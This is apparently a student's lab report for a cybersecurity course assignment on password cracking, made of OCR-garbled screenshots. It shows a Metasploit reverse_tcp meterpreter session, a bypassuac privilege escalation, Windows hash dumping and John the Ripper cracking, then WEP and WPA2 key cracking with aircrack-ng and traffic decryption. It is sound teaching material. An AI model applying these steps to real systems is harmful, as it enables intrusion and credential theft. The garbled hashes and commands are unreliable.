CYSE 301: Cybersecurity Technique and Operations 
Assignment 5: Password Cracking (Part A)
Task A: Linux Password Cracking
1. Create two groups, one is cyse301, and the other is your ODU Midas ID (for example, svatsa). Then display the corresponding group IDs.
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2. Create and assign three users to each group. Display related UID and GID information of each user.
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3. Choose Three new passwords, from easy to hard, and assign them to the users you created. You need to show me the password you selected in your report, and DO NOT use your real-world passwords.
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4. Export all Three users’ password hashes into a file named “YourMIDAS-HASH” (for example, svatsa-HASH). Then launch a dictionary attack to crack the passwords. You MUST crack at least one password in order to complete this assignment.
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Task B: Windows Password Cracking
Log on to Windows 7 VM and establish a reverse shell connection with the admin privilege to the target Windows 7 VM
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1. Display the password hashes by using the “hashdump” command in the meterpreter she
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2. Save the password hashes into a file named “your_midas.WinHASH” in Kali Linux (you need to replace the “your_midas” with your university MIDAS). Then run John the ripper for 10 minutes to crack the passwords (You MUST crack at least one password in order to complete this assignment.).
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Task C
1. Decrypt the lab5wep-demo. cap file (5 points) and perform a detailed traffic analysis (5 points)
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2. Decrypt the lab5wpa2-demo. cap file (5 points) and perform a detailed traffic analysis (5 points)
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Task D
Implement a dictionary attack and decrypt the traffic using the correct file based on your last character of md5 hash for your midas name. - 20 points
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Decrypt the encrypted traffic and write a detailed summary to describe what you have explored from this encrypted traffic file (using wireshark). -10 points
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Once I decrypted the traffic in Wireshark, I used filters such as eapol and http to filter the packets that were captured so that I could gain some understanding of the network. By employing the eapol filter, I was able to see that it captured WPA2 handshake packets, thus the right phase of authentication for decryption. The http filter presented several HTTP request and response packet, which suggest users visiting websites or communicating with web servers. DNS packet analysis revealed that devices are doing name resolution and querying nameservers to resolve domain names to IP addresses. I also noted UDP traffic with service discovery protocols such as SSDP and NetBIOS, which means devices are sharing information on the local network. Of the observed traffic, most seemed to be regular traffic, but the use of unencrypted HTTP suggested security threats; however, no attacks or unauthorized access occurred. This allowed for analysis of the network traffic, regular traffic and some of the weaknesses for example use of HTTP instead of HTTPS.
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=[ metasploit v6.3.55-dev
2397 exploits - 1235 auxiliary - 422 post

1391 payloads - 46 encoders - 11 nops
9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit( ' = -1 1) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf6 exploit(iii i /hondior) > set lhost 192.168.10.13

lhost = 192.168.10.13

msf6 exploit( v @ hndior) > set lport 4428

lport = 4428

msf6 exploit( v = handicr) > exploit

[*] Started reverse TCP handler on 192.168.10.13:4428
[*] Sending stage (176198 bytes) to 192.168.10.9
[*] Meterpreter session 1 opened (192.168.10.13:4428 — 192.168.10.9:1054) at 2024-12-07 02:02:15 -0500
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msf6 exploit(i = .10 ) > use windows/local/bypassuac

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) > set session 1

session = 1

msf6 exploit(windows/local/bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.10.13:4444

[*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Sending stage (176198 bytes) to 192.168.10.9

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*] Meterpreter session 2 opened (192.168.10.13:4444 — 192.168.10.9:1055) at

2024-12-07 02:08:51 -0500
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meterpreter > pwd
C:\Windows\System32

meterpreter > shell

Process 2824 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\System32> net user /add azi tim
net user /add azi tim
The command completed successfully.

C:\Windows\System32> net user /add Rob zac
net user /add Rob zac
The command completed successfully.

C:\Windows\System32> net user /add Mos lim
net user /add Mos lim
The command completed successfully.
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C:\Windows\System32>exit
exit

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢0 :::
azi:1004:aad3b435b51404eeaad3b435b51404ee: 4c714dfbe6ce93a579dec75aech31b34 i
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢0 :::
HomeGroupUser$:1002:aad3b435b51404eeaad3bs35b51404ee:2d79¢c7f57c09bad3139f56290e444b2
Mos:1006:aad3b435b51404eeaad3b435b51404ee:3155922fcbc5637f5ac550b24b752¢41 12
Rob:1005:aad3b435b51404eeaad3b435b51404ee:7468a7 f06dfO4e47bd1d09a5ces680c6
Window 7:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586
Zabeb:1003:aad3b435b51404eeaad3b435b51404ee:5143c08ab0b8e@94ebccc2e6ce8eb97f
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meterpreter > hashdump > /tmp/Zabeb@@1.WinHASH
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢0 ::
azi:1004:aad3b435b51404eeaad3bs35b51404ee: 4c714dfbe6ce93a579dec75aech31b34
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:2d79¢c7f57c09bad3139f56290e444b23 :
Mos:1006:aad3b435b51404eeaad3b435b51404ee:3155922fcbc5637f5ac550b24b752¢c41
Rob:1005:aad3b435b51404eeaad3b435b51404ee: 746827 f06df04e47bd1d0%a5ces680c6
Window 7:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586¢ :::
Zabeb:1003:aad3b435b51404eeaad3b435b51404ee:5143c08ab0b8e@94ebccc2ebce8eb97f
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L—(nn.hlir[-&t
~ Jjohn Zabeb@01.WinHASH
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 8 password hashes with no different salts (LM [DES 512/512 AVX512F])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q’ or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst

(Zabeb)

(window 7)

(Rob)

(Mos)

(HomeGroupUser$)

(Guest)

(azi)

(Admaristrator)
8g 0:00: 00 DONE 2/3 (2024-12-07 02:33) 21.62g/s 42021p/s 42021c/s 336172C/s 123456 .. OKAETUC
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed.
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L—( root® kali)-[~]

© john --show Zabeb@01.WinHASH

Administrator ::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0 :::
azi::1004:aad3b435b51404eeaad3bs35b51404ee: 4c714dfbe6ce93a579dec75aech31b34
Guest ::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢0 :::
HomeGroupUser$ :: 1002 :aad3b435b51404eeaad3b435b51404ee:2d79c7f57c09bad3139f56290e444b23 112
Mos :: 1006:aad3b435b51404eeaad3b435b51404ee:3155922fcbc5637f5ac550b24b752¢41
Rob ::1005:aad3b435b51404eeaad3bs35b51404ee:7468a7f06df04e47bd1d09a5ces4680c6
Window 7::1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ade6bdd830b7586¢ :::
Zabeb ::1003:aad3b435b51404eeaad3b435b51404ee:5143c08abob8e@94ebccc2ebce8ebd7f :::

8 password hashes cracked, 0 left
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root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5

File Actions Edit View Help

FPWNPRO®

[00:00:

depth  byte(vote)

o/ 2 F2(28928) 7A(27136) 30(26112) 21(24832)
9/ 10  C7(24064) 71(23808) 5C(23552) 20(23296)
0/ 1 BB(30208) AB(25344) BF(25344) D@(24832)
8/ 12 FC(24064) 25(23808) 2A(23808) A9(23808)
0/ 1 B9(30720) 33(26624) 2E(25344) C4(25344)

KEY FOUND! [ F2:C7:BB:35:B9 ]
Decrypted correctly: 100%

Aircrack-ng 1.7

29] Tested 231 keys (got 19772 IVs)

27(24832) 03(24576) F8(24576) 05(24320) 38(24064) 84(24064) 9A(24064)
2A(23296) 52(23296) 84(23296) 99(23040) DE(23040) 5B(22784) 62(22784)
08(24576) 93(24576) CC(24320) D3(24064) 09(23808) 1C(23552) 4E(23552)
BD(23808) 00(23552) 42(23552) 3F(23296) 62(23296) 2C(23040) 3C(23040)
64(25088) ED(25088) 55(24832) 77(24832) 9C(24576) FF(24576) 69(24064)
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[:-(rootE!kali)-[~/-/vnshartllab Resources (2023 Spring)/Lab Resources/Module 5
 airdecap-ng -w F2:C7:B8:35:B9 labSwep-demo.cap

Total number of stations seen 37
Total number of packets read 404693
Total number of WEP data packets 142415
Total number of WPA data packets 27852
Number of plaintext data packets 170
Number of decrypted WEP packets o
Number of corrupted WEP packets o
Number of decrypted WPA packets )
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0

Warning: WDS packets detected, but no BSSID specified

ekl vt kal3 AT/ NAbtchawa /i ash Bacannecas 9092 C€nvidna)/d ah Bansunverac Miadala B1
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) root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
File Actions Edit View Help

Aircrack-ng 1.7

[00:00:01] 8/14344392 keys tested (6.12 k/s)
Time left: 27 days, 2 hours, 37 minutes, 58 seconds 0.00%

KEY FOUND! [ password ]
Master Key : 20 64 DE 6A 2E 73 86 96 81 91 8E 8C 1E 32 49 FC
3B C9 OA 44 BC 2B 6E 94 45 4B BF 8F B9 79 FC 3B
Transient Key : 48 5D 7F SE F5 AA 69 76 D8 85 83 31 FA 2A 65 A4
C0 A0 D1 4A 96 BC C5 96 65 7A FC A2 44 94 14 51
EC 9C 42 51 E1 EA BF AE 5F BB 64 11 0D 60 70 24
77 81 71 A3 2C 1B BC D1 @A 1C BF 1C EC 00 00 00

EAPOL HMAC : 49 94 2C 92 12 04 BA 66 ED D8 40 OF 10 A5 19 47
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~( )-[~/./VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
~— airdecap-ng -p password lab5wpa2-demo.cap

You must also specify the ESSID (-e).

"airdecap-ng -—-help" for help.

~( . )-[~/./VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
~— airdecap-ng -p password lab5wpa2-demo.cap -¢ CCNI

Total number of stations seen 13
Total number of packets read 10074
Total number of WEP data packets 19
Total number of WPA data packets 2284
Number of plaintext data packets 74
Number of decrypted WEP packets o
Number of corrupted WEP packets )
Number of decrypted WPA packets 2228
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0

Warning: WDS packets detected, but no BSSID specified
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File Actions Edit View Help

L—(rwte kali)-[~]
# echo -n Zabeb@@l | mdSsum
a5068eb32fc0879b19b489cbc9c7fles -
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[:-(rootébkali)-[~/-/VIshar./Lab Resources (2023 Spring)/Lab Resources/Module 5
# aircrack-ng WPA2-P1-01.cap

Reading packets, please wait...

Opening WPA2-P1-01.cap

Inter-frame timeout period exceeded.

Read 2660 packets.

# BSSID ESSID Encryption
1 00:16:B6:DA:CF:2F CyberPHY WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening WPA2-P1-01.cap
Inter-frame timeout period exceeded.
Read 2660 packets.
1 potential targets

Please specify a dictionary (option -w).
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root@kali: ~/Desktop/VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5

File Actions Edit View Help

Aircrack-ng 1.7
[00:00:04] 979/14344392 keys tested (268.13 k/s)
Time left: 14 hours, 51 minutes, 34 seconds 0.01%
KEY FOUND! [ PASSWORD ]

Master Key : FD 32 45 B5 9F 2A 4A FF 13 68 D2 95 C2 7B CB 14
Al A7 62 10 BB 54 DA F3 D6 3E FO 37 54 F9 76 3F

Transient Key : 01 01 01 01 01 01 @1 @1 84 41 6D 2A AF 8E 23 79
EF A0 D6 6E F8 DB 3D 10 74 04 3C 96 55 EC FE 28
A8 FD @3 DE F5 FC E@ 1F 9E 30 69 EA EF 7C 96 4B
30 AC 43 7F FB ED 7C 39 49 7E 3C 3E E2 01 11 97

EAPOL HMAC : 50 8A 42 E2 F3 71 88 11 44 0B B2 8B 70 DD 51 9D
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E(mt@ " )-[~/./VMshare/Lab Resources (2023 Spring)/Lab Resources/Module 5
' airdecap-ng -p PASSWORD WPA2-P1-01.cap -¢ CyberPHY

Total number of stations seen 12
Total number of packets read 2660
Total number of WEP data packets [}
Total number of WPA data packets 629
Number of plaintext data packets [}
Number of decrypted WEP packets ]
Number of corrupted WEP packets )
Number of decrypted WPA packets 471
Number of bad TKIP (WPA) packets 0

Number of bad CCMP (WPA) packets 0
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‘ Wireshark - Protocol Hierarchy Statistics - labSwpa2-demo.cap

Protocol ~ Percent Packets

~ Frame 100.0
~ IEEE 802.11 wireless LAN 100.0

~ Logical-Link Control 0.1

~ Internet Protocol Version 4 0.0
Transmission Control Protocol 0.0

802.1X Authentication 0.0

Data 241

Packets
10074
10074
n

4

4

4

2423

Percent Bytes
100.0
223
0.7
0.0
(X3
0.1
69.1

Bytes
726690
161730
5222
80
4460
480
502311
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File Actions Edit View Help
—(root® kali)-[~]
‘i groupadd cyse301

—(root® kali)-[~]
‘i groupadd Zabeb0@1l

E(mtﬁ kali)-[~]
© tail /etc/group
wireshark:x:135:kali

kaboxer:x:137:kali
xrdp:x:138:

Ccyse301:x:1002:
Zabeb001:x:1003:

e
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©
File Actions Edit View Help

E(mt@ kali)-[~]
' useradd Herald -g cyse301

L—(thluli)-[-']
-/ useradd James -g cyse301

E(mto kali)-[~]
- useradd Cyrus -g cyse301

E(mtakali)-[-']
- useradd Michelle -g Zabeb001l

L—(rootekali)-[-]
' useradd Anthony -g Zabeb001

E(Mt’ kali)-[~]
' useradd Cynthia -g Zabeb0o@l

E(rootleli)-[-]

© tail -6 /etc/passwd

Herald:x:1002:1002 :: /home/Herald:/bin/sh
James:x:1003:1002 :: /home/James:/bin/sh
Cyrus:x:1004:1002 :: /home/Cyrus:/bin/sh
Michelle:x:1005:1003 :: /home/Michelle:/bin/sh
Anthony:x:1006:1003 :: /home/Anthony:/bin/sh
Cynthia:x:1007:1003 :: /home/Cynthia:/bin/sh
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File Actions Edit View Help

L—(root@luu)-[-']

-/ passwd Herald

New password:

Retype new password:

passwd: password updated successfully

L—(thluH)—[-']

- passwd James

New password:

Retype new password:

passwd: password updated successfully

—(root® kali)-[~]

‘—i! passwd Cyrus

New password:

Retype new password:

passwd: password updated successfully

—(root® kali)-[~]

‘1 passwd Michelle

New password:

Retype new password:

passwd: password updated successfully

—(root® kali)-[~]

' passwd Anthony

New password:

Retype new password:

passwd: password updated successfully

root@Kkali: ~

root@kali: ~
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L—( root® kali)-[~]
# passwd Cynthia
New password:

Retype new password:
passwd: password updated successfully
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E( root® kali)-[~]

~ john Zabeb@01-HASH

Using default input encoding: UTF-8

Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 2 OpenMP threads

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst

Proceeding with incremental:ASCII

0g 0:00:12:40 3/3 0g/s 1368Kp/s 1368Kc/s 1368KC/s b5rop..b5.1j

0g 0:00:12:47 3/3 0g/s 1365Kp/s 1365Kc/s 1365KC/s badeddud .. badod182
0g 0:00:12:50 3/3 0g/s 1365Kp/s 1365Kc/s 1365KC/s 197979ja..197323am
0g 0:00:12:52 3/3 0g/s 1369Kp/s 1369Kc/s 1369KC/s jesiglrp.. jesclamp
0g 0:00:12:54 3/3 0g/s 1372Kp/s 1372Kc/s 1372KC/s mahivik .. maswmwa
0g 0:00:12:56 3/3 0g/s 1371Kp/s 1371Kc/s 1371KC/s sipaw80 .. spenk@4
0g 0:00:12:57 3/3 0g/s 1370Kp/s 137@Kc/s 1370KC/s cobles ... coqudsq




